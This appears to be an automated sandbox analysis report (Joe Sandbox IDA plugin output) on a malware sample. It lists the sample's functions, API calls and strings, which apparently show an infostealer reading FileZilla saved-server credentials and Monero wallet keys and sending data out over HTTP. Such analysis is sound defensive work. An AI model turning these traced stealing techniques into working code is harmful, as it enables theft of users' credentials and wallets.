Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e39290d6dcab25e314fa3aabe90b8943218b9445315f3e832e9fd32008e4007
Instruction ID: 0cfa21dd3c3535aa0ef098dc9d45574a4b7807c14a9b0b6c93cfcbc37fe61144
Opcode Fuzzy Hash: 0e39290d6dcab25e314fa3aabe90b8943218b9445315f3e832e9fd32008e4007
Instruction Fuzzy Hash: CE41F5F3A142004BE3446A7DEC857BABAD6DF94324F1A463DEA85D77C0D93988058692

Function 00F16799 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
Instruction ID: 9d429672c1c9b354cefbe7d0ad26eb3459462f5552bbf8075d40798e9945befb
Opcode Fuzzy Hash: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
Instruction Fuzzy Hash: A1513B63E09BD58AC7058B7544502EEBFB21FE6210F1E829EC4985F383C3759689D3E5

Function 0136AF7E Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 612f6c062c6b2a5ce4505d2e2685992d77310bde7e2033413f84cdcb4bf568e8
Instruction ID: 7ee423bc71714a10ada2503b9b4006bcd32626e420c90033316bf4e4c6241cda
Opcode Fuzzy Hash: 612f6c062c6b2a5ce4505d2e2685992d77310bde7e2033413f84cdcb4bf568e8
Instruction Fuzzy Hash: B9316BB290C3149FE705BF29DC857AAFBE5FF98310F02892DDBC483654D63468548A87

Function 00EE75A8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
Instruction ID: 6f3579539133c16e82723237803b8971b03cd8b531f9f429ebb9f832563e04b3
Opcode Fuzzy Hash: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
Instruction Fuzzy Hash: 27D0C971A097118FC3688F1EF440546FAE8EBD8320715C53FA09EC3750C6B494418B54

Function 00EB9AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00EB03B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EB8F9B

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EAA13C
Part of subcall function 00EAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EAA161
Part of subcall function 00EAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00EAA181
Part of subcall function 00EAA110: ReadFile.KERNEL32(000000FF,?,00000000,00EA148F,00000000), ref: 00EAA1AA
Part of subcall function 00EAA110: LocalFree.KERNEL32(00EA148F), ref: 00EAA1E0
Part of subcall function 00EAA110: CloseHandle.KERNEL32(000000FF), ref: 00EAA1EA

Part of subcall function 00EB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EB8FE2

GetProcessHeap.KERNEL32(00000000,000F423F,00EC0DBF,00EC0DBE,00EC0DBB,00EC0DBA), ref: 00EB04C2
RtlAllocateHeap.NTDLL(00000000), ref: 00EB04C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 00EB04E5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB04F3
StrStrA.SHLWAPI(00000000,<Port>), ref: 00EB052F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00EB0579
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB0587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00EB05C3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB05D5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB0662
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB067A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB0692
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB06AA
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00EB06C2
lstrcat.KERNEL32(?,profile: null), ref: 00EB06D1
lstrcat.KERNEL32(?,url: ), ref: 00EB06E0
lstrcat.KERNEL32(?,00000000), ref: 00EB06F3
lstrcat.KERNEL32(?,00EC1770), ref: 00EB0702
lstrcat.KERNEL32(?,00000000), ref: 00EB0715
lstrcat.KERNEL32(?,00EC1774), ref: 00EB0724
lstrcat.KERNEL32(?,login: ), ref: 00EB0733
lstrcat.KERNEL32(?,00000000), ref: 00EB0746
lstrcat.KERNEL32(?,00EC1780), ref: 00EB0755
lstrcat.KERNEL32(?,password: ), ref: 00EB0764
lstrcat.KERNEL32(?,00000000), ref: 00EB0777
lstrcat.KERNEL32(?,00EC1790), ref: 00EB0786
lstrcat.KERNEL32(?,00EC1794), ref: 00EB0795
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EC0DB7), ref: 00EB07EE

Strings

password: , xrefs: 00EB075B
<Pass encoding="base64">, xrefs: 00EB05BA
profile: null, xrefs: 00EB06C8
url: , xrefs: 00EB06D7
<User>, xrefs: 00EB0570
login: , xrefs: 00EB072A
<Port>, xrefs: 00EB0526
<Host>, xrefs: 00EB04DC
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00EB0404
browser: FileZilla, xrefs: 00EB06B9

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: dab3e7e4478b05f4a9dca19830581bf78ebd9bb1c7ea27774b5613588a56ef21
Instruction ID: ebe9f6f0eabe004af82ce0689a893f267b3d8ebcd1afd5472e0fdb39aba406ad
Opcode Fuzzy Hash: dab3e7e4478b05f4a9dca19830581bf78ebd9bb1c7ea27774b5613588a56ef21
Instruction Fuzzy Hash: 39D16171910208ABCF14EBF0DD9AEEFB779AF14300F449568F112B6195EF31AA45CB61

Function 00EA59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EA4889
Part of subcall function 00EA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EA4899

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EA5A48
StrCmpCA.SHLWAPI(?,01BFF7D0), ref: 00EA5A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EA5BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01BFF840,00000000,?,01BFB5B0,00000000,?,00EC1B4C), ref: 00EA5EC1
lstrlen.KERNEL32(00000000), ref: 00EA5ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00EA5EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00EA5EEA
lstrlen.KERNEL32(00000000), ref: 00EA5EFF
lstrlen.KERNEL32(00000000), ref: 00EA5F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EA5F41
lstrlen.KERNEL32(00000000,?,?), ref: 00EA5F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EA5F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00EA5F9C
InternetCloseHandle.WININET(00000000), ref: 00EA6000
InternetCloseHandle.WININET(00000000), ref: 00EA600D
HttpOpenRequestA.WININET(00000000,01BFF830,?,01BFF220,00000000,00000000,00400100,00000000), ref: 00EA5C48

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

InternetCloseHandle.WININET(00000000), ref: 00EA6017

Strings

------, xrefs: 00EA5AE6
------, xrefs: 00EA5D9C
", xrefs: 00EA5D25
------, xrefs: 00EA5C5B
", xrefs: 00EA5E66

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: c3388cf8845900d15018f7969f16d72e239b84defba69582c50a92d8b7e421b0
Instruction ID: 16e0f5b65fae6457b07ddb60661a6fe10d1c30739f4323689bd2cd8e37d82554
Opcode Fuzzy Hash: c3388cf8845900d15018f7969f16d72e239b84defba69582c50a92d8b7e421b0
Instruction Fuzzy Hash: 4612FC71920118ABCF15EBA0DDA6FEEB3B9AF14700F4455B9F11672191EF302A48CF61

Function 00EACFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EB8CF0: GetSystemTime.KERNEL32(00EC0E1B,01BFB730,00EC05B6,?,?,00EA13F9,?,0000001A,00EC0E1B,00000000,?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EB8D16

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EAD083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00EAD1C7
RtlAllocateHeap.NTDLL(00000000), ref: 00EAD1CE
lstrcat.KERNEL32(?,00000000), ref: 00EAD308
lstrcat.KERNEL32(?,00EC1570), ref: 00EAD317
lstrcat.KERNEL32(?,00000000), ref: 00EAD32A
lstrcat.KERNEL32(?,00EC1574), ref: 00EAD339
lstrcat.KERNEL32(?,00000000), ref: 00EAD34C
lstrcat.KERNEL32(?,00EC1578), ref: 00EAD35B
lstrcat.KERNEL32(?,00000000), ref: 00EAD36E
lstrcat.KERNEL32(?,00EC157C), ref: 00EAD37D
lstrcat.KERNEL32(?,00000000), ref: 00EAD390
lstrcat.KERNEL32(?,00EC1580), ref: 00EAD39F
lstrcat.KERNEL32(?,00000000), ref: 00EAD3B2
lstrcat.KERNEL32(?,00EC1584), ref: 00EAD3C1
lstrcat.KERNEL32(?,00000000), ref: 00EAD3D4
lstrcat.KERNEL32(?,00EC1588), ref: 00EAD3E3

Part of subcall function 00EBAB30: lstrlen.KERNEL32(UO,?,?,00EA4F55,00EC0DDF), ref: 00EBAB3B
Part of subcall function 00EBAB30: lstrcpy.KERNEL32(00EC0DDF,00000000), ref: 00EBAB95

lstrlen.KERNEL32(?), ref: 00EAD42A
lstrlen.KERNEL32(?), ref: 00EAD439

Part of subcall function 00EBAD80: StrCmpCA.SHLWAPI(00000000,00EC1568,00EAD2A2,00EC1568,00000000), ref: 00EBAD9F

DeleteFileA.KERNEL32(00000000), ref: 00EAD4B4

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 2d78cb46961b9db6ccd27d733949ea442c721097984b5ed4bd8b04f0e3346eb8
Instruction ID: b0981c42cab75629d6f81b96a269ea2b81424afda7b240205c33aa5112660202
Opcode Fuzzy Hash: 2d78cb46961b9db6ccd27d733949ea442c721097984b5ed4bd8b04f0e3346eb8
Instruction Fuzzy Hash: A6E11E71910108ABCF18EBA0DD96EEF73B9AF54301F1455B8F127B6191DF31AA48CB62

Function 00EACA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,01BFE408,00000000,?,00EC1544,00000000,?,?), ref: 00EACB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00EACB89
GetFileSize.KERNEL32(00000000,00000000), ref: 00EACB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EACBA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00EACBD9
StrStrA.SHLWAPI(?,01BFE378,00EC0B56), ref: 00EACBF7
StrStrA.SHLWAPI(00000000,01BFE4E0), ref: 00EACC1E
StrStrA.SHLWAPI(?,01BFE620,00000000,?,00EC1550,00000000,?,00000000,00000000,?,01BF9D48,00000000,?,00EC154C,00000000,?), ref: 00EACDA2
StrStrA.SHLWAPI(00000000,01BFE960), ref: 00EACDB9

